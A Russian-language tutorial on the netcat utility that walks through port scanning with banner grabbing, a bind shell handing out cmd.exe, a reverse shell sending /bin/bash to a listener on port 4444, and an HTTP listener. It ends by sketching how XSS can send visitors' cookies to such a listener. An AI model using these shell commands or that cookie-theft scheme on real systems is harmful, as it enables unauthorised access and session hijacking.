Netcat – утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, данная утилита не входит ни в какой стандарт.
Netcat является своего рода швейцарским ножом при работе с TCP/IP и в руках знающего человека является грозным и крайне полезным оружием.
В данной статье мы разберем использование данной утилиты на простых примерах, которые дадут нам понимание как, где и зачем можно использовать эту замечательную штуку под названием netcat.
Пример 1. Сканирование портов.
В ряде случаев нам может потребоваться просто и быстро просканировать порт удаленного хоста на возможность подключения. Конечно в интернете существует миллион приложений позволяющих выполнить данную задачу. Тем не менее если под рукой оказался netcat, почему бы им не воспользоваться? Давайте просканируем удаленный хост на наличие открытого порта 22 (ssh). На удаленном хосте я заранее запустил сервис ssh(/etc/init.d/ssh start). Итак, даем следующую команду:
C:\Users\lp13>nc -v 192.168.13.168 22 192.168.13.168: inverse host lookup failed: h_errno 11004: NO_DATA (UNKNOWN) [192.168.13.168] 22 (ssh) open SSH-2.0-OpenSSH_6.0p1 Debian-4
Результат говорит нам, что порт 22 на удаленном хосте открыт. Более того, мы так же получили информацию о том, что за приложение висит на данном порте и на какой ОС работает.
Пример 2.а Удаленное администрирование (Прямое подключение).
В данном примере есть компьютер А и компьютер с которого мы будем осуществлять подключение Б. На компьютере А мы даем команду слушать всех, кто будет подключаться по порту 4444 и отдать в управление cmd.exe тому, кто попробует подключиться. Выглядит это следующим образом.
C:\Users\lp13>nc -lvvp 4444 -e cmd.exe listening on [any] 4444 ... С компьютера Б инициируем подключение к хосту А. root@KALI:~# nc -v 192.168.12.97 4444 it-61.ion.ru [192.168.12.97] 4444 (?) open Microsoft Windows [Version 6.1.7601] (c) ��௮���������������(Microsoft Corp.), 2009. ����ࠢ�����饭�. C:\Users\lp13>
Как видите мы подключились и сразу получили доступ в командную строку компьютера А.
Если набрать к примеру notepad, то на компьютере А откроется блокнот, если набрать ipconfig, то мы увидим сетевые настройки и т.д. В общем можно чувствовать себя как дома, т.к. командная строка пользователя под нашим управлением.
Пример 2.б Удаленное администрирование (Обратное подключение).
В предыдущем примеры мы рассмотрели простой вариант, когда оба компьютера находятся в рамках одной сети и прекрасно видят друг друга. А теперь представим, что мы сидим за компьютером Б и у нас прямой ip адрес в интернете, а компьютер А (на который нужно зайти) находятся за NAT-ом. У нас уже так просто не получится набрать его ip адрес и подключиться. Для этого существует так называемый reverse shell. Смысл в том, что наш компьютер Б будет находиться в ожидании подключения, а компьютер А (за NAT-ом) будет инициировать подключение к себе самостоятельно. Давайте перейдем к практике и все сразу станет ясно.
На компьютере Б запускаем netcat на ожидание подключения по порту 4444
C:\Users\lp13>nc -lvvp 4444 listening on [any] 4444 ...
На компьютере А, который находится за NAT-ом говорим подключаться к компьютеру Б и отдать ему /bin/bash. Выглядит это примерно следующим образом
root@Kali:~#nc–v192.168.12.97 4444 –e/bin/bash it-test.test.ru[192.168.12.97] 4444 (?) open
Теперь возвращаемся на компьютер Б и видим, что было открыто соединение. Предлагаю заодно посмотреть текущую директорию на хосте А:
C:\Users\lp13>nc -lvvp 4444 listeningon[any] 4444 ... connectto[192.168.12.97] fromKALI[192.168.13.168] 33251 pwd /root
Пример 3. Слушаем
Последний пример, который будет приведен в данной статье. Давайте на одном из хоcтов запустим netcat слушать подключения по 80-му порту.
root@KALI:~#nc –lvvp 80 listening on [any] 80 …
Теперь попробуем обратиться на этот хост через браузер, набрав в адресной строке
Давайте посмотрим что произошло.
root@KALI:~# nc -lvvp 80 listening on [any] 80 ... connect to [192.168.13.168] from it-test [192.168.12.97] 3152 GET /test HTTP/1.1 Host: 192.168.13.168 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive
Наш компьютер принял подключение на 80-й порт и принял HTTP запрос, из которого легко можно определить с какого браузера было произведено обращение, а так же какая ОС использовалась. Такая информация может быть полезна в случае если мы тестируем систему на уязвимость. Полученные данные помогают сузить круг возможных уязвимостей, говоря нам какую ОС и браузер использует клиент.
Так же должен сказать, что такой метод может быть использован при краже чужих cookie. Допустим мы нашли сайт, уязвимый к атаке XSS(Cross Site Scripting) и встраиваем туда код, который будет говорить всем посетителям обращаться на наш ip адрес и передавать значение cookie. Когда какой-нибудь посетитель уязвимого web ресурса зайдет на страничку, его компьютер отправит параметры cookie нам. Дальше уже дело техники.